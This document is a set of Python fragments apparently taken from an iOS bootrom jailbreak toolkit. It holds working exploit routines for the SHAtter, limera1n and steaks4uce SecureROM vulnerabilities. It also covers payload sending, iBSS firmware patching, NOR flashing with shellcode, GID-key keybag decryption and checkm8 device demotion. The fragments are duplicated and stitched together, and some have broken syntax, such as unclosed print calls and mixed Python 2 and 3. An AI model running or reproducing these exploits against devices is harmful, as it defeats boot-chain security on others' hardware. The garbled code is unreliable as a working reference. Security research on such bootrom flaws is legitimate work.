def exploit(): print '*** based on SHAtter exploit (segment overflow) by posixninja and pod2g ***' device = dfu.acquire_device() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return if 'CPID:8930' not in device.serial_number: print 'ERROR: Not a compatible device. This exploit is for S5L8930 devices only. Exiting.' sys.exit(1) if 'SRTG:[iBoot-574.4]' not in device.serial_number: print 'ERROR: CPID is compatible, but serial number string does not match.' print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' sys.exit(1) dfu.reset_counters(device) dfu.get_data(device, 0x40) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() dfu.reset_counters(device) dfu.get_data(device, 0x140) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) device = dfu.acquire_device() dfu.send_data(device, generate_payload()) dfu.get_data(device, 0x2C000) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() failed = 'PWND:[SHAtter]' not in device.serial_number dfu.release_device(device) if failed: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.'
def command(self, request_data, response_length): assert 0 <= response_length <= USB_READ_LIMIT device = dfu.acquire_device() assert self.serial_number == device.serial_number dfu.send_data(device, '\0' * 16) device.ctrl_transfer(0x21, 1, 0, 0, 0, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) dfu.send_data(device, request_data) # address = 0 # for line in utilities.hex_dump(request_data, address).splitlines(): # print '%x: %s' % (address, line[10:]) # address += 16 # print(request_data) # self.hexdump(0, request_data) # HACK if response_length == 0: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:] else: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring() # print(response) dfu.release_device(device) assert len(response) == response_length return response
def exploit(): print '*** based on limera1n exploit (heap overflow) by geohot ***' device = dfu.acquire_device() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return chosenConfig = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in device.serial_number: chosenConfig = config break if chosenConfig is None: for config in configs: if 'CPID:%s' % config.cpid in device.serial_number: print 'ERROR: CPID is compatible, but serial number string does not match.' print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' sys.exit(1) print 'ERROR: Not a compatible device. This exploit is for S5L8920/S5L8922/S5L8930 devices only. Exiting.' sys.exit(1) dfu.send_data( device, generate_payload(chosenConfig.constants, chosenConfig.exploit_lr)) assert len(device.ctrl_transfer(0xA1, 1, 0, 0, 1, 1000)) == 1 limera1n_libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 10) try: device.ctrl_transfer(0x21, 2, 0, 0, 0, 10) print 'ERROR: This request succeeded, but it should have raised an exception. Exiting.' sys.exit(1) except usb.core.USBError: # OK: This request should have raised USBError. pass dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() failed = 'PWND:[limera1n]' not in device.serial_number dfu.release_device(device) if failed: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.'
def exploit(): print('*** based on steaks4uce exploit (heap overflow) by pod2g ***') device = dfu.acquire_device() print('Found:', device.serial_number) if 'PWND:[' in device.serial_number: print('Device is already in pwned DFU Mode. Not executing exploit.') return if 'CPID:8720' not in device.serial_number: print( 'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.' ) sys.exit(1) chosenConfig = None for config in configs: if 'SRTG:[iBoot-%s]' % config.version in device.serial_number: chosenConfig = config break if chosenConfig is None: print( 'ERROR: CPID is compatible, but serial number string does not match.' ) print( 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.' ) sys.exit(1) dfu.reset_counters(device) dfu.send_data(device, generate_shellcode(chosenConfig.constants)) dfu.send_data(device, payload) assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload), 1000)) == len(payload) dfu.release_device(device) time.sleep(0.01) device = dfu.acquire_device() dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() failed = 'PWND:[steaks4uce]' not in device.serial_number dfu.release_device(device) if failed: print('ERROR: Exploit failed. Device did not enter pwned DFU Mode.') sys.exit(1) print('Device is now in pwned DFU Mode.')
def boot_ibss(self): print 'Sending iBSS.' if self.config.cpid != '8920': print 'ERROR: Boot iBSS is currently only supported on iPhone 3GS.' sys.exit(1) help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:' help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3' try: f = open('n88ap-iBSS-4.3.5.img3', 'rb') data = f.read() f.close() except: print 'ERROR: n88ap-iBSS-4.3.5.img3 is missing.' print help1 print help2 sys.exit(1) if len(data) == 0: print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).' print help1 print help2 sys.exit(1) if hashlib.sha256(data).hexdigest( ) != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61': print 'ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.' print help1 print help2 sys.exit(1) iBSS = image3.Image3(data) decryptediBSS = iBSS.newImage3(decrypted=True) n88ap_iBSS_435_patches = [ (0x14954, 'run\x00'), # patch 'reset' command string to 'run' (0x17654, struct.pack('<I', 0x41000001) ), # patch 'reset' command handler to LOAD_ADDRESS + 1 ] patchediBSS = decryptediBSS[:64] + utilities.apply_patches( decryptediBSS[64:], n88ap_iBSS_435_patches) device = dfu.acquire_device() assert self.identifier == device.serial_number dfu.reset_counters(device) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() assert self.identifier == device.serial_number data = dfu.send_data(device, patchediBSS) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) print 'Waiting for iBSS to enter Recovery Mode.' device = recovery.acquire_device() recovery.release_device(device)
def command(self, request_data, response_length): assert 0 <= response_length <= USB_READ_LIMIT device = dfu.acquire_device() assert self.serial_number == device.serial_number dfu.send_data(device, b'\0' * 16) device.ctrl_transfer(0x21, 1, 0, 0, 0, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) device.ctrl_transfer(0xA1, 3, 0, 0, 6, 100) dfu.send_data(device, request_data) # HACK if response_length == 0: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length + 1, CMD_TIMEOUT).tostring()[1:] else: response = device.ctrl_transfer(0xA1, 2, 0xFFFF, 0, response_length, CMD_TIMEOUT).tostring() dfu.release_device(device) assert len(response) == response_length return response
def execute(self, cmd, receiveLength): device = dfu.acquire_device() assert self.identifier == device.serial_number dfu.reset_counters(device) dfu.send_data(device, EXEC_MAGIC + cmd) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() assert self.identifier == device.serial_number requiredLength = 0x8 + receiveLength requiredLength = requiredLength if requiredLength % 0x800 == 0 else requiredLength / 0x800 * 0x800 + 0x800 received = dfu.get_data(device, requiredLength) dfu.release_device(device) (exec_cleared, retval) = struct.unpack('<2I', received[:8]) assert exec_cleared == 0 return (retval, received[8:8 + receiveLength])
def boot_ibss(self): print('Sending iBSS.' if self.config.cpid != '8920': print('ERROR: Boot iBSS is currently only supported on iPhone 3GS.') sys.exit(1) help1 = 'Download iPhone2,1_4.3.5_8L1_Restore.ipsw and use the following command to extract iBSS:' help2 = 'unzip -p iPhone2,1_4.3.5_8L1_Restore.ipsw Firmware/dfu/iBSS.n88ap.RELEASE.dfu > n88ap-iBSS-4.3.5.img3' try: f = open('n88ap-iBSS-4.3.5.img3', 'rb') data = f.read() f.close() except: print('ERROR: n88ap-iBSS-4.3.5.img3 is missing.') print (help1) print (help2) sys.exit(1) if len(data) == 0: print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is empty (size: 0 bytes).') print (help1) print (help2) sys.exit(1) if hashlib.sha256(data).hexdigest() != 'b47816105ce97ef02637ec113acdefcdee32336a11e04eda0a6f4fc5e6617e61': print('ERROR: n88ap-iBSS-4.3.5.img3 exists, but is from the wrong IPSW or corrupted.') print help1 print help2 sys.exit(1) iBSS = image3.Image3(data) decryptediBSS = iBSS.newImage3(decrypted=True) n88ap_iBSS_435_patches = [ (0x14954, 'run\x00'), # patch 'reset' command string to 'run' (0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1 ] patchediBSS = decryptediBSS[:64] + utilities.apply_patches(decryptediBSS[64:], n88ap_iBSS_435_patches) device = dfu.acquire_device() assert self.identifier == device.serial_number dfu.reset_counters(device) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) device = dfu.acquire_device() assert self.identifier == device.serial_number data = dfu.send_data(device, patchediBSS) dfu.request_image_validation(device) dfu.release_device(device) time.sleep(0.5) print('Waiting for iBSS to enter Recovery Mode.') device = recovery.acquire_device() recovery.release_device(device) def flash_nor(self, nor): self.boot_ibss() print('Sending iBSS payload to flash NOR.') MAX_SHELLCODE_LENGTH = 128 payload = open('bin/ibss-flash-nor-shellcode.bin', 'rb').read() assert len(payload) <= MAX_SHELLCODE_LENGTH payload += '\x00' * (MAX_SHELLCODE_LENGTH - len(payload)) + nor device = recovery.acquire_device() assert 'CPID:8920' in device.serial_number recovery.send_data(device, payload) try: print('Sending run command.' recovery.send_command(device, 'run') except usb.core.USBError: # OK pass #print('Caught USBError; should still work.' recovery.release_device(device) print('If screen is not red, NOR was flashed successfully and device will reboot.') def decrypt_keybag(self, keybag): KEYBAG_LENGTH = 48 assert len(keybag) == KEYBAG_LENGTH KEYBAG_FILENAME = 'aes-keys/S5L%s-firmware' % self.config.cpid try: f = open(KEYBAG_FILENAME, 'rb') data = f.read() f.close() except IOError: data = str() assert len(data) % 2 * KEYBAG_LENGTH == 0 for i in range(0, len(data), 2 * KEYBAG_LENGTH): if keybag == data[i:i+KEYBAG_LENGTH]: return data[i+KEYBAG_LENGTH:i+2*KEYBAG_LENGTH] device = PwnedDFUDevice() decrypted_keybag = device.aes(keybag, AES_DECRYPT, AES_GID_KEY) f = open(KEYBAG_FILENAME, 'a') f.write(keybag + decrypted_keybag) f.close() return decrypted_keybag
# Remove 24Kpwn first. nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0]) new_nor = alloc8.exploit(nor, device.config.version) device.flash_nor(new_nor.dump()) if opt == '-f': try: with open(arg, 'rb') as f: data = f.read() except IOError: print 'ERROR: Could not read file:', arg sys.exit(1) device = dfu.acquire_device() dfu.reset_counters(device) dfu.send_data(device, data) dfu.request_image_validation(device) dfu.release_device(device) if opt == '--demote': device = dfu.acquire_device() serial_number = device.serial_number dfu.release_device(device) if 'PWND:[checkm8]' in serial_number: pwned = usbexec.PwnedUSBDevice() old_value = pwned.read_memory_uint32( pwned.platform.demotion_reg) print 'Demotion register: 0x%x' % old_value if old_value & 1: print 'Attempting to demote device.'